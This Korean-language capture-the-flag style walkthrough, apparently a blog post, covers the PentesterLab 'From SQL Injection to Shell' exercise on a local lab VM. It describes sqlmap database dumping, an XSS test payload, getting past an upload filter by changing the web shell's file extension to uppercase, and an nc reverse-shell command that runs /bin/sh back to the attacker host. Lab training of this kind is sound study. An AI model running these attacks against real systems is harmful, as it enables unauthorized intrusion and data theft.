[From SQL Injection to Shell]
https://pentesterlab.com/exercises/from_sqli_to_shell/attachments
PentesterLab: Learn Web App Pentesting!
ISO The ISO for this exercise can be downloaded by clicking here (169MB).
pentesterlab.com
위 웹사이트에서 실습 문제를 위한 ISO 파일을 다운 받을 수 있다.
환경구성
종류는 linux로, 버전은 우분투 32비트로 선택한다.
네트워트는 host_only로 설정한다.
부팅이 완료되면 ip addr 명령어를 실행하여 IP 주소를 확인한다.
이 아이피 주소가 웹 서버의 IP주소가 되는 것이다. 웹 서버의 IP주소는 192.168.109.131이 된다.
칼리 리눅스에서 웹 브라우저를 열어 해당 IP 주소로 접속하여 웹 페이지가 제대로 표시되는지 확인 해 보겠다.
정상적으로 웹 서버가 잘 작동하고 있음을 알 수 있다.
문제 풀이
웹 애플리케이션을 정보수집 단계부터 시작하여 여러 가지 공격 단계 과정을 거친 후 최종적으로 쉘을 획득하여 호스트 내부로 침투해 보겠다.
실습 과정은 다음과 같이 진행된다.
- 정보 수집(nikto, 웹 애플리케이션 매핑)
- SQL 인젝션 공격으로 관리자 정보 획득
- 관리자 메뉴의 파일 업로드 기능을 공격하여 웹쉘 업로드
- 웹쉘의 위치를 찾아 명령어 실행
- nc를 이용한 리버스 쉘 기법으로 호스트 내부 침투
정보 수집
웹 서버 취약점을 분석해주는 오픈소스 툴 NIkto를 실행하여 정보를 수집해 보겠다.
버전 정보를 포함하여 여러 가지 정보를 알 수 있다. 디렉터리 인덱싱이 가능하다고 발견되었고, 관리자로 로그인할 수 있는 페이지 정보 등을 쉽게 확인할 수 있다.
그 다음 버프스위트를 이용하여 웹 애플리케이션을 매핑을 하겠다.
버프스위트를 실행하고 웹 브라우저의 요청이 버프 스위트 프록시를 통해 전달되도록 설정한 후 웹 애플리케이션의 메뉴를 하나씩 누르면서 URL 구조 등에 대한 정보를 수집한다.
test, ruxcon, 2010, All pictures, ADmin 등 각 메뉴를 모두 누른 뒤 버프 스위트 사이트 맵 탭에서 웹 애플리케이션의 구조를 쉽게 파악할 수 있다.
이 과정에서 관리자 페이지의 존재 사실을 알 수 있다. 또 하나 특이한 사항은 test, ruxcon, 2010 메뉴를 눌렀을 때의 URL이다. cat.php는 그대로 이지만 id 파라미터의 값이 각각 1, 2, 3으로 다르게 변하고 있으며 이에 따라 웹 페이지의 내용이 달라진다. 웹 모의해킹 시 주요 타깃이 되는 부분이 이러한 파라미터 이므로 이부분을 공략해 보겠다.
SQL 인젝션 공격
SQL 인젝션 취약점 가능성을 파악하기 위해 id 파라미터의 값으로 '(싱글 쿼더)를 추가 입력해 보겠다.
SQL 형식에 관련해 에러가 발생하는 것을 볼 수 있다. 이는 SQL 인젝션 취약점이 있을 가능성이 상당히 높은데, 이 URL을 대상으로 sqlmap 툴을 사용해보겠다. 이 URL에서 테스트를 할때에는 로그인할 필요가 없기 때문에 쿠키 옵션을 설정할 필요가 없다. 따라서 -u 옵션만 사용하여 명령어를 실행한다.
결과 중에서 선명하게 강조된 내용을 보면 id 파라미터가 SQL 인젝션에 취약할 가능성이 있다는 메세지가 존재한다.
또한 크로스 사이트 스크립트(XSS) 공격도 가능성이 있다는 내용이 있다. 백엔드 DBMS는 MySQL로 추측이 된다.
웹 브라우저 id 값에 <script>alert(1)</script>라고 입력을 하면 그림 7과 같이 자바스크립트가 실행되는 것을 확인할 수 있다. SQL 인젝션 취약점을 찾던 중에 크로스 사이트 스크립팅 취약점을 추가로 찾게되었다.
계속해서 SQL 인젝션 공격을 진행하겠다.
id 파라미터가 여러 종류의 SQL 인젝션 공격에 취약하다는 결과가 나온다.
--current-db 옵션을 사용해 현재 데이터베이스의 이름을 알아내보겠다.
아래쪽에 현재 데이터베이스가 photoblog라고 알 수 있다.
현재 데이터베이스 이름을 바탕으로 DB의 내용을 덤프하겠다. --current-db대신 -D로 photoblog를 설정하고, --dump 옵션을 추가하여 실행한다.
users(사용자) 테이블을 찾았고, 테이블의 내용으로부터 다음 관리자 계정 정보를 획득하였다.
관리자의 아이디는 admin, 비밀번호는 P4ssw0rd이다.
파일 업로드 공격
획득한 관리자 계정 정보로 정보 수집 단계에서 확인했던 관리자 페이지(admin 메뉴)에 로그인 한다.
관리자 기능은 간단하게 구성되어 있다. 이미지 파일을 관리하고 추가하는 기능을 가지고 있다. New picture 페이지에는 이미 업로드 폼이 표시된다. 이 폼을 대상으로 파일 업로드 공격을 시도해 보겠다.
Title에 파일 이름을 입력하고 Browse 버튼을 눌러 webshell.php파일을 선택하였다.
Add 버튼을 눌러 webshell.php 파일을 업로드하니 NO PHP!!라는 에러가 발생하였다.
php 파일 업로드가 차단되고 있는 것 같은데 이번에는 파일의 확장자를 대문자로 변경하여 업로드를 시도해 보겠다. 터미널에서 webshell.php가 있는 디렉터리에서 mv명령어를 통해 파일의 이름을 변경할 수 있다.
mv webshell.php webshell.PHP
파일 이름을 변경한 파일을 다시 한 번 업로드 하였다.
webshell.PHP로 파일 확장자를 대문자로 바꾸고 업로드하니 웹쉘을 업로드 하였다.
이제 웹쉘을 실행하기 위해서는 업로드된 파일의 경로를 찾아야 한다. 관리자 메뉴 HOME 메뉴를 클릭하면 upload된 파일의 이름이 표시되는데, 이때 웹 브라우저의 소스코드 보기를 이용하여 경로를 찾을 수 있다.
그림 15번의 48번째 줄을 보니 admin/uploads/webshell.PHP에 업로드된 것을 알 수 있다. 해당 URL로 접속해 보겠다.
웹쉘이 실행되고 있다. 웹쉘에 표시된 폼을 통해 명령어를 실행할 수 있다.
리버스 쉘 침투
이 웹쉘을 통해 리버스 쉘 기법을 이용하여 터미널에서 명령어를 내릴수 있도록 해보겟다.
터미널에서 다음 nc명령문으로 4000번 포트를 리스닝 모드로 생성한다.
nc -lvnp 4000
그러고 나서 웹쉘의 폼에 다음 nc 명령문을 입력하여 리스닝 중인 포트에 접속한다.
nc 192.168.109.129 4000 -e /bin/sh
터미널에서 접속이 이루어진 것을 확인할 수 있다. 쉘을 획득하고 침투에 성공했다.